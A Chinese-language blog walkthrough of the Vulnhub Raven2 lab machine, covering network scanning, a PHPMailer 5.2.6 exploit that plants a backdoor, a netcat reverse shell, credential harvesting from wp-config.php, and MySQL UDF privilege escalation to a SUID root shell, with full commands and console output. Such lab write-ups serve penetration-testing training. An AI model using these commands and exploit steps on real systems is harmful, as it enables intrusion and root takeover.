Vulnhub系列靶机---Raven2

文章目录

Raven2 渗透测试

信息收集

查看存活主机

复制代码
arp-scan -l 

找到目标主机。

扫描目标主机上的端口、状态、服务类型、版本信息

复制代码
nmap -A 192.168.160.47

目标开放了 22、80、111 端口

访问一下80端口,并查看它的组件:

没有发现什么有用的信息

对目标目录进行扫描

复制代码
sudo dirsearch -u 192.168.160.47 -i 200

也可以使用dirb http://192.168.160.47 进行目录扫描:

/vendor/PATH 中找到了flag1

拿到了flag1:

/vendor/VERSION 中有一个版本号,这可能是一个软件版本号:

再看 /vendor 目录下,还有几个文件名含有 phpmailer 的文件,如PHPMailerAutoload.php ,可确定 5.2.6 是 PHPMailer 的版本号。

于是使用漏洞利用搜索工具 searchsploit 在 exploit-db 中搜索 PHPMailer 相关的 exp。

选用40974.py.使用cp命令将py文件复制到桌面,并且使用vim编辑器打开

复制代码
cp /usr/share/exploitdb/exploits/php/webapps/40974.py /home/kali/Desktop
vim 40974.py

运行python代码

sh 复制代码
python 40974.py

浏览器访问http://192.168.160.47/contact.php生成后门文件

用nc开启监听并访问http://192.168.160.47/sky.php 获得一个低级的shell

复制代码
nc -lvnp 4444

使用python获取pty得到交互式的shell

sh 复制代码
python -c 'import pty;pty.spawn("/bin/bash")'

在根目录下全局搜索flag

sh 复制代码
find / -name *flag*

看到了flag2和flag3.png

查看flag2:

查看flag3:

查看wordpress的配置文件 /var/www/html/wordpress/wp-config.php

得到数据库账号:root ,数据库密码:R@v3nSecurity

提权

在kali终端下载枚举漏洞工具LinEnum

sh 复制代码
sudo  proxychains git clone https://github.com/rebootuser/LinEnum.git 

里面有一个LinEnum.sh可执行文件

用python搭建一个简单的服务器来把文件下载到靶机里面

shell 复制代码
python -m http.server 7788

在靶机上使用wget下载

sh 复制代码
wget http://192.168.160.12:7788/LinEnum.sh

查看到没有执行权限

需要提权,chmod修改权限后,再./LinEnum.sh执行

sh 复制代码
chmod +x LinEnum.sh

执行:

查到了数据库的版本信息

数据库版本为5.5.60

UDF脚本

利用脚本

复制代码
searchsploit -m 1518
cp /usr/share/exploitdb/exploits/linux/local/1518.c ./1518.c
gcc -g -c 1518.c
gcc -g -shared -o 1518.so 1518.o -lc

将1518.so 文件上传到/tmp 目录下

MySQL提权
sh 复制代码
use mysql;
create table foo(line blob);
insert into foo values(load_file('/tmp/1518.so'));
select * from foo into dumpfile 
create function do_system returns integer soname 
select * from mysql.func;
select do_system('chmod u+s /usr/bin/find');
复制代码
www-data@Raven:/tmp$ mysql -uroot -pR@v3nSecurity
mysql -uroot -pR@v3nSecurity
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 37
Server version: 5.5.60-0+deb8u1 (Debian)

Copyright (c) 2000, 2018, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> use mysql;
use mysql;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> create table foo(line blob);
create table foo(line blob);
Query OK, 0 rows affected (0.01 sec)

mysql> insert into foo values(load_file('/tmp/1518.so'));
insert into foo values(load_file('/tmp/raptor_udf.so'));
Query OK, 1 row affected (0.00 sec)

mysql> select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf.so';
select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf.so';
Query OK, 1 row affected (0.01 sec)

mysql> create function do_system returns integer soname 'raptor_udf.so';
create function do_system returns integer soname 'raptor_udf.so';
Query OK, 0 rows affected (0.00 sec)

mysql> select * from mysql.func;
select * from mysql.func;
+-----------+-----+---------------+----------+
| name      | ret | dl            | type     |
+-----------+-----+---------------+----------+
| do_system |   2 | raptor_udf.so | function |
+-----------+-----+---------------+----------+
1 row in set (0.00 sec)

mysql> select do_system('chmod u+s /usr/bin/find');
select do_system('chmod u+s /usr/bin/find');
+--------------------------------------+
| do_system('chmod u+s /usr/bin/find') |
+--------------------------------------+
|                                    0 |
+--------------------------------------+
1 row in set (0.01 sec)

此时,/usr/bin/find 就具备了SUID 权限

SUID提权
sh 复制代码
find 15* -exec '/bin/sh' \;
相关推荐
Q_Q51100828514 小时前
python+uniapp基于微信小程序的旅游信息系统
spring boot·python·微信小程序·django·flask·uni-app·node.js
鄃鳕14 小时前
python迭代器解包【python】
开发语言·python
忧郁的橙子.15 小时前
十六、kubernetes 1.29 之 集群安全机制
安全·容器·kubernetes
懷淰メ15 小时前
python3GUI--模仿百度网盘的本地文件管理器 By:PyQt5(详细分享)
开发语言·python·pyqt·文件管理·百度云·百度网盘·ui设计
Q_Q51100828515 小时前
python基于web的汽车班车车票管理系统/火车票预订系统/高铁预定系统 可在线选座
spring boot·python·django·flask·node.js·汽车·php
新子y15 小时前
【小白笔记】普通二叉树(General Binary Tree)和二叉搜索树的最近公共祖先(LCA)
开发语言·笔记·python
囚生CY15 小时前
【速写】优化的深度与广度(Adam & Moun)
人工智能·python·算法
Query*15 小时前
Java 设计模式——工厂模式:从原理到实战的系统指南
java·python·设计模式
爱学习的uu15 小时前
CURSOR最新使用指南及使用思路
人工智能·笔记·python·软件工程
早睡冠军候选人16 小时前
Ansible学习----Ansible Playbook
运维·服务器·学习·云原生·容器·ansible